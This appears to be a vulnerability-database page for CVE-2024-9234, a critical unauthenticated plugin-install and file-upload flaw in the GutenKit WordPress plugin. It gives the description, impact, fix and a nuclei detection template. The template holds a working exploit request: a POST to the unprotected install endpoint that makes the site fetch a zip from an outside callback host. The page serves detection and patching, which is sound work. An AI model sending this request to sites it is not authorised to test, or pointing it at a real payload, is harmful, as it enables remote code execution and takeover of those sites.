HexBrain

Browse / CVEs / CVE-2024-9234

CVE-2024-9234· wpmet / gutenkit· CWE-862

GutenKit <= 2.1.0 - Arbitrary File Upload

criticalseverity
9.8CVSS score
10.4%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.

Impact

Unauthenticated attackers can install and activate arbitrary WordPress plugins or upload files disguised as plugins, enabling remote code execution and complete WordPress site compromise.

Fix

Update GutenKit plugin to a version later than 2.1.0 that implements proper capability checks on the install_and_activate_plugin_from_external function and REST API endpoint.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/gutenkit-blocks-addon") and status_code == 200
Send: POST /wp-json/gutenkit/v1/install-active-plugin
Positive when: contains_all(body, "Failed to unzip plugin", "success\":false") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-9234 -u <target>

The full check
id: CVE-2024-9234

info:
  name: GutenKit <= 2.1.0 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.
  impact: |
    Unauthenticated attackers can install and activate arbitrary WordPress plugins or upload files disguised as plugins, enabling remote code execution and complete WordPress site compromise.
  remediation: |
    Update GutenKit plugin to a version later than 2.1.0 that implements proper capability checks on the install_and_activate_plugin_from_external function and REST API endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9234
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gutenkit-blocks-addon/gutenkit-210-unauthenticated-arbitrary-file-upload
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9234
    cwe-id: CWE-862
    epss-score: 0.10446
    epss-percentile: 0.95783
  metadata:
    verified: true
    max-request: 2
    vendor: wpmet
    product: gutenkit
    framework: wordpress
    fofa-query: body="wp-content/plugins/gutenkit-blocks-addon"
  tags: cve,cve2024,wordpress,wp-plugin,gutenkit,file-upload,intrusive,vkev,vuln

variables:
  filename: "{{rand_text_alpha(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/gutenkit-blocks-addon")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-json/gutenkit/v1/install-active-plugin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        plugin=http://{{interactsh-url}}/{{filename}}.zip

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Failed to unzip plugin", "success\":false")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from